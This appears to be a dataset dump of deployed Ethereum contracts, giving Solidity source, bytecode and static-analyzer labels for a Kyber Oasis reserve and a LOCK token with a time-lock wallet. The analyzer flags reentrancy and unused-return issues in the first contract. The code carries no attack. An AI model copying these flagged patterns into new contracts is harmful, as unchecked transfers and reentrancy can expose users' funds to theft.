operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/oasisContracts/KyberOasisReserve.sol
contract OtcInterface {
function getOffer(uint id) public constant returns (uint, ERC20, uint, ERC20);
function sellAllAmount(ERC20 payGem, uint payAmt, ERC20 buyGem, uint minFillAmount) public returns (uint fillAmt);
function getBestOffer(ERC20 sellGem, ERC20 buyGem) public constant returns(uint);
}
contract TokenInterface is ERC20 {
function deposit() public payable;
function withdraw(uint) public;
}
contract KyberOasisReserve is KyberReserveInterface, Withdrawable, Utils2 {
uint constant internal MIN_TRADE_TOKEN_SRC_AMOUNT = (10**18);
uint constant internal COMMON_DECIMALS = 18;
address public sanityRatesContract = 0;
address public kyberNetwork;
OtcInterface public otc;
TokenInterface public wethToken;
ERC20 public tradeToken;
bool public tradeEnabled;
uint public feeBps;
function KyberOasisReserve(
address _kyberNetwork,
OtcInterface _otc,
TokenInterface _wethToken,
ERC20 _tradeToken,
address _admin,
uint _feeBps
)
public
{
require(_admin != address(0));
require(_kyberNetwork != address(0));
require(_otc != address(0));
require(_wethToken != address(0));
require(_tradeToken != address(0));
require(_feeBps < 10000);
require(getDecimals(_wethToken) == COMMON_DECIMALS);
require(getDecimals(_tradeToken) == COMMON_DECIMALS);
kyberNetwork = _kyberNetwork;
otc = _otc;
wethToken = _wethToken;
tradeToken = _tradeToken;
admin = _admin;
feeBps = _feeBps;
tradeEnabled = true;
wethToken.approve(otc, 2**255);
tradeToken.approve(otc, 2**255);
}
function() public payable {
require(msg.sender == address(wethToken));
}
event TradeExecute(
address indexed sender,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress
);
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate));
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event KyberNetworkSet(address kyberNetwork);
function setKyberNetwork(address _kyberNetwork) public onlyAdmin {
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
KyberNetworkSet(kyberNetwork);
}
event OtcSet(address otc);
function setOtc(OtcInterface _otc) public onlyAdmin {
require(_otc != address(0));
wethToken.approve(otc, 0);
tradeToken.approve(otc, 0);
wethToken.approve(_otc, 2**255);
tradeToken.approve(_otc, 2**255);
otc = _otc;
OtcSet(otc);
}
event FeeBpsSet(uint feeBps);
function setFeeBps(uint _feeBps) public onlyAdmin {
require(_feeBps < 10000);
feeBps = _feeBps;
FeeBpsSet(feeBps);
}
function valueAfterReducingFee(uint val) public view returns(uint) {
require(val <= MAX_QTY);
return ((10000 - feeBps) * val) / 10000;
}
function valueBeforeFeesWereReduced(uint val) public view returns(uint) {
require(val <= MAX_QTY);
return val * 10000 / (10000 - feeBps);
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
uint rate;
uint actualSrcQty;
ERC20 wrappedSrc;
ERC20 wrappedDest;
uint bestOfferId;
uint offerPayAmt;
uint offerBuyAmt;
blockNumber;
if (!tradeEnabled) return 0;
if ((tradeToken != src) && (tradeToken != dest)) return 0;
if (src == ETH_TOKEN_ADDRESS) {
wrappedSrc = wethToken;
wrappedDest = dest;
actualSrcQty = srcQty;
} else if (dest == ETH_TOKEN_ADDRESS) {
wrappedSrc = src;
wrappedDest = wethToken;
if (srcQty < MIN_TRADE_TOKEN_SRC_AMOUNT) {
/* Assuming token is stable, use a minimal amount to get rate also for small token quant. */
actualSrcQty = MIN_TRADE_TOKEN_SRC_AMOUNT;
} else {
actualSrcQty = srcQty;
}
} else {
return 0;
}
// getBestOffer's terminology is of offer maker, so their sellGem is our (the taker's) dest token.
bestOfferId = otc.getBestOffer(wrappedDest, wrappedSrc);
(offerPayAmt, , offerBuyAmt,) = otc.getOffer(bestOfferId);
// make sure to take only first level of order book to avoid gas inflation.
if (actualSrcQty > offerBuyAmt) return 0;
rate = calcRateFromQty(offerBuyAmt, offerPayAmt, COMMON_DECIMALS, COMMON_DECIMALS);
return valueAfterReducingFee(rate);
}
function doTrade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
internal
returns(bool)
{
require((ETH_TOKEN_ADDRESS == srcToken) || (ETH_TOKEN_ADDRESS == destToken));
require((tradeToken == srcToken) || (tradeToken == destToken));
uint actualDestAmount;
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
uint userExpectedDestAmount = calcDstQty(srcAmount, COMMON_DECIMALS, COMMON_DECIMALS, conversionRate);
require(userExpectedDestAmount > 0); // sanity check
uint destAmountIncludingFees = valueBeforeFeesWereReduced(userExpectedDestAmount);
if (srcToken == ETH_TOKEN_ADDRESS) {
wethToken.deposit.value(msg.value)();
actualDestAmount = otc.sellAllAmount(wethToken, msg.value, destToken, destAmountIncludingFees);
require(actualDestAmount >= destAmountIncludingFees);
// transfer back only requested dest amount.
require(destToken.transfer(destAddress, userExpectedDestAmount));
} else {
require(srcToken.transferFrom(msg.sender, this, srcAmount));
actualDestAmount = otc.sellAllAmount(srcToken, srcAmount, wethToken, destAmountIncludingFees);
require(actualDestAmount >= destAmountIncludingFees);
wethToken.withdraw(actualDestAmount);
// transfer back only requested dest amount.
destAddress.transfer(userExpectedDestAmount);
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, userExpectedDestAmount, destAddress);
return true;
}
}
|
0x6060604052600436106101655763ffffffff60e060020a60003504166299d386811461018257806301a12fd3146101a957806324a9d853146101c857806326782247146101ed57806327a099d81461021c57806336b61e3c146102825780633ccdbb2814610295578063408ee7fe146102be57806347e6924f146102dd5780634b57b0be146102f0578063535858881461030357806354a325a6146103225780635b714690146103415780636940030f146103575780636cf698111461036a5780636f3d80431461039657806372c27b62146103ac57806375829def146103c257806377f50f97146103e15780637acc8678146103f45780637c423f54146104135780637cd44272146104265780639870d7fe14610451578063ac8a584a14610470578063b78b842d1461048f578063ce56c454146104a2578063d4fac45d146104c4578063d621e813146104e9578063d83678ac146104fc578063f851a4401461050f575b600a5433600160a060020a0390811691161461018057600080fd5b005b341561018d57600080fd5b610195610522565b604051901515815260200160405180910390f35b34156101b457600080fd5b610180600160a060020a03600435166105b0565b34156101d357600080fd5b6101db610720565b60405190815260200160405180910390f35b34156101f857600080fd5b610200610726565b604051600160a060020a03909116815260200160405180910390f35b341561022757600080fd5b61022f610735565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561026e578082015183820152602001610256565b505050509050019250505060405180910390f35b341561028d57600080fd5b61020061079d565b34156102a057600080fd5b610180600160a060020a0360043581169060243590604435166107ac565b34156102c957600080fd5b610180600160a060020a03600435166108a3565b34156102e857600080fd5b61020061099f565b34156102fb57600080fd5b6102006109ae565b341561030e57600080fd5b610180600160a060020a03600435166109bd565b341561032d57600080fd5b610180600160a060020a0360043516610c85565b341561034c57600080fd5b6101db600435610d17565b341561036257600080fd5b610195610d4e565b610195600160a060020a03600435811690602435906044358116906064351660843560a4351515610dcf565b34156103a157600080fd5b6101db600435610e3c565b34156103b757600080fd5b610180600435610e67565b34156103cd57600080fd5b610180600160a060020a0360043516610ecb565b34156103ec57600080fd5b610180610f66565b34156103ff57600080fd5b610180600160a060020a0360043516611000565b341561041e57600080fd5b61022f6110e2565b341561043157600080fd5b6101db600160a060020a0360043581169060243516604435606435611148565b341561045c57600080fd5b610180600160a060020a0360043516611391565b341561047b57600080fd5b610180600160a060020a0360043516611461565b341561049a57600080fd5b6102006115cd565b34156104ad57600080fd5b610180600435600160a060020a03602435166115dc565b34156104cf57600080fd5b6101db600160a060020a036004358116906024351661166f565b34156104f457600080fd5b610195611721565b341561050757600080fd5b610200611742565b341561051a57600080fd5b610200611751565b6000805433600160a060020a0390811691161461053e57600080fd5b600b805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356001604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a039081169116146105cc57600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105f357600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b60055481101561071c5781600160a060020a031660058281548110151561063857fe5b600091825260209091200154600160a060020a031614156107145760058054600019810190811061066557fe5b60009182526020909120015460058054600160a060020a03909216918390811061068b57fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906106c7906000198301611d79565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a161071c565b600101610615565b5050565b600c5481565b600154600160a060020a031681565b61073d611da2565b600480548060200260200160405190810160405280929190818152602001828054801561079357602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610775575b5050505050905090565b600954600160a060020a031681565b60005433600160a060020a039081169116146107c757600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561082457600080fd5b6102c65a03f1151561083557600080fd5b50505060405180519050151561084a57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a039081169116146108be57600080fd5b600160a060020a03811660009081526003602052604090205460ff16156108e457600080fd5b600554603290106108f457600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff1916600190811790915560058054909181016109738382611d79565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600754600160a060020a031681565b600a54600160a060020a031681565b60005433600160a060020a039081169116146109d857600080fd5b600160a060020a03811615156109ed57600080fd5b600a54600954600160a060020a039182169163095ea7b391166000806040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a5357600080fd5b6102c65a03f11515610a6457600080fd5b50505060405180515050600b54600954600160a060020a039182169163095ea7b391166000806040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ad457600080fd5b6102c65a03f11515610ae557600080fd5b50505060405180515050600a54600160a060020a031663095ea7b3827f800000000000000000000000000000000000000000000000000000000000000060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b6e57600080fd5b6102c65a03f11515610b7f57600080fd5b50505060405180515050600b54600160a060020a031663095ea7b3827f800000000000000000000000000000000000000000000000000000000000000060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c0857600080fd5b6102c65a03f11515610c1957600080fd5b5050506040518051505060098054600160a060020a031916600160a060020a0383811691909117918290557ffc6516d79be2cd225274acf76c0184a8cb378818e4a5598198de77d149010b2d9116604051600160a060020a03909116815260200160405180910390a150565b60005433600160a060020a03908116911614610ca057600080fd5b600160a060020a0381161515610cb557600080fd5b60088054600160a060020a031916600160a060020a0383811691909117918290557f38622430bb6defd4452b087e8d0b4a6d1c4d35c179c2d7d875d4abb272b9d88b9116604051600160a060020a03909116815260200160405180910390a150565b60006b204fce5e3e25026110000000821115610d3257600080fd5b600c54612710038261271002811515610d4757fe5b0492915050565b600160a060020a03331660009081526003602052604081205460ff161515610d7557600080fd5b600b805474ff0000000000000000000000000000000000000000191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600b5460009074010000000000000000000000000000000000000000900460ff161515610dfb57600080fd5b60085433600160a060020a03908116911614610e1657600080fd5b610e24878787878787611760565b1515610e2f57600080fd5b5060019695505050505050565b60006b204fce5e3e25026110000000821115610e5757600080fd5b600c546127109081038302610d47565b60005433600160a060020a03908116911614610e8257600080fd5b6127108110610e9057600080fd5b600c8190557f4f78c4ceb393a616bbd264a4584a9ad15d722042ce1e135e6a8380217f5cb42b8160405190815260200160405180910390a150565b60005433600160a060020a03908116911614610ee657600080fd5b600160a060020a0381161515610efb57600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610f8157600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461101b57600080fd5b600160a060020a038116151561103057600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b6110ea611da2565b600580548060200260200160405190810160405280929190818152602001828054801561079357602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610775575050505050905090565b600080600080600080600080600b60149054906101000a900460ff1615156111735760009750611382565b600b54600160a060020a038d811691161480159061119f5750600b54600160a060020a038c8116911614155b156111ad5760009750611382565b600160a060020a038c1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156111eb57600a548a9650600160a060020a031694508a9350611253565b600160a060020a038b1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561124a57600a548c9550600160a060020a03169350670de0b6b3a76400008a101561124157670de0b6b3a76400009550611245565b8995505b611253565b60009750611382565b600954600160a060020a0316630374fc6f858760006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156112b457600080fd5b6102c65a03f115156112c557600080fd5b5050506040518051600954909450600160a060020a03169050634579268a8460006040516080015260405160e060020a63ffffffff84160281526004810191909152602401608060405180830381600087803b151561132357600080fd5b6102c65a03f1151561133457600080fd5b50505060405180519060200180519060200180519060200180515092945092505050808611156113675760009750611382565b6113748183601280611c49565b965061137f87610e3c565b97505b50505050505050949350505050565b60005433600160a060020a039081169116146113ac57600080fd5b600160a060020a03811660009081526002602052604090205460ff16156113d257600080fd5b600454603290106113e257600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff1916600190811790915560048054909181016109738382611d79565b6000805433600160a060020a0390811691161461147d57600080fd5b600160a060020a03821660009081526002602052604090205460ff1615156114a457600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b60045481101561071c5781600160a060020a03166004828154811015156114e957fe5b600091825260209091200154600160a060020a031614156115c55760048054600019810190811061151657fe5b60009182526020909120015460048054600160a060020a03909216918390811061153c57fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906115789082611d79565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a161071c565b6001016114c6565b600854600160a060020a031681565b60005433600160a060020a039081169116146115f757600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561162857600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b6000600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156116a75750600160a060020a0381163161171b565b82600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156116fe57600080fd5b6102c65a03f1151561170f57600080fd5b50505060405180519150505b92915050565b600b5474010000000000000000000000000000000000000000900460ff1681565b600b54600160a060020a031681565b600054600160a060020a031681565b600080808073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038b1614806117ac575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038916145b15156117b757600080fd5b600b54600160a060020a038b8116911614806117e05750600b54600160a060020a038981169116145b15156117eb57600080fd5b841561183f57600086116117fe57600080fd5b600160a060020a038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156118345734891461182f57600080fd5b61183f565b341561183f57600080fd5b61184c8960128089611cec565b91506000821161185b57600080fd5b61186482610d17565b9050600160a060020a038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611a0a57600a54600160a060020a031663d0e30db0346040518263ffffffff1660e060020a0281526004016000604051808303818588803b15156118ca57600080fd5b6125ee5a03f115156118db57600080fd5b5050600954600a54600160a060020a039182169350630621b4f6925016348b8560006040516020015260405160e060020a63ffffffff8716028152600160a060020a0394851660048201526024810193909352921660448201526064810191909152608401602060405180830381600087803b151561195957600080fd5b6102c65a03f1151561196a57600080fd5b50505060405180519350508083101561198257600080fd5b87600160a060020a031663a9059cbb888460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156119df57600080fd5b6102c65a03f115156119f057600080fd5b505050604051805190501515611a0557600080fd5b611bcc565b89600160a060020a03166323b872dd33308c60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515611a7457600080fd5b6102c65a03f11515611a8557600080fd5b505050604051805190501515611a9a57600080fd5b600954600a54600160a060020a0391821691630621b4f6918d918d91168560006040516020015260405160e060020a63ffffffff8716028152600160a060020a0394851660048201526024810193909352921660448201526064810191909152608401602060405180830381600087803b1515611b1657600080fd5b6102c65a03f11515611b2757600080fd5b505050604051805193505080831015611b3f57600080fd5b600a54600160a060020a0316632e1a7d4d8460405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515611b8757600080fd5b6102c65a03f11515611b9857600080fd5b505050600160a060020a0387166108fc83150283604051600060405180830381858888f193505050501515611bcc57600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8b8b8b868c604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a25060019998505050505050505050565b60006b204fce5e3e25026110000000851115611c6457600080fd5b6b204fce5e3e25026110000000841115611c7d57600080fd5b828210611cb85760128383031115611c9457600080fd5b84838303600a0a02670de0b6b3a76400008502811515611cb057fe5b049050611ce4565b60128284031115611cc857600080fd5b84828403600a0a670de0b6b3a7640000860202811515611cb057fe5b949350505050565b60006b204fce5e3e25026110000000851115611d0757600080fd5b69d3c21bcecceda1000000821115611d1e57600080fd5b838310611d4d5760128484031115611d3557600080fd5b670de0b6b3a7640000858302858503600a0a02611cb0565b60128385031115611d5d57600080fd5b828403600a0a670de0b6b3a764000002828602811515611cb057fe5b815481835581811511611d9d57600083815260209020611d9d918101908301611db4565b505050565b60206040519081016040526000815290565b6105ad91905b80821115611dce5760008155600101611dba565b5090565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611e035760129150611e90565b50600160a060020a038216600090815260066020526040902054801515611e8c5782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611e6a57600080fd5b6102c65a03f11515611e7b57600080fd5b505050604051805190509150611e90565b8091505b509190505600a165627a7a72305820ac8d0be29eaa2d76b84b2c1675abe1f367ba7a7d9a1ab6355887ebc463743c7d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,526 |
0x23f2f200e4d18634a147f5cd3c79a852be3ea85d
|
pragma solidity 0.4.15;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LOCKTokenCOIN is StandardToken {
using SafeMath for uint256;
string public name = "LOCK Token COIN";
string public symbol = "LOCKTC";
uint256 public decimals = 8;
uint256 public INITIAL_SUPPLY = 1000000000 * 1 ether;
event Burn(address indexed from, uint256 value);
function LOCKTokenCOIN() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function burn(uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <<span class="__cf_email__" data-cfemail="0b796e6668644b39">[email protected]</span>π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be send to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract LOCKTokenCOINLock is HasNoEther {
using SafeMath for uint256;
LOCKTokenCOIN public LOCKTC;
uint public startTime;
uint public endTime1;
uint public endTime2;
uint256 public tranche;
modifier onlyAfter(uint time) {
require(getCurrentTime() > time);
_;
}
function LOCKTokenCOINLock (
address _ltcAddr,
uint _startTime,
uint _duration,
uint256 _tranche
) HasNoEther() public {
LOCKTC = LOCKTokenCOIN(_ltcAddr);
startTime = _startTime;
endTime1 = _startTime + _duration * 1 days;
endTime2 = _startTime + 2 * _duration * 1 days;
tranche = _tranche * 1e18;
}
function withdraw1(uint256 _value) external onlyOwner onlyAfter(endTime1) {
require(_value <= tranche);
LOCKTC.transfer(owner, _value);
tranche = tranche.sub(_value);
}
function withdraw2(uint256 _value) external onlyOwner onlyAfter(endTime2) {
LOCKTC.transfer(owner, _value);
}
function ltcBalance() external constant returns(uint256) {
return LOCKTC.balanceOf(this);
}
function getCurrentTime() internal constant returns(uint256) {
return now;
}
}
|
0x60606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005457806370a082311461007d578063a9059cbb146100ca575b600080fd5b341561005f57600080fd5b610067610124565b6040518082815260200191505060405180910390f35b341561008857600080fd5b6100b4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061012a565b6040518082815260200191505060405180910390f35b34156100d557600080fd5b61010a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610174565b604051808215151515815260200191505060405180910390f35b60005481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156101b157600080fd5b61020382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461034b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061029882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081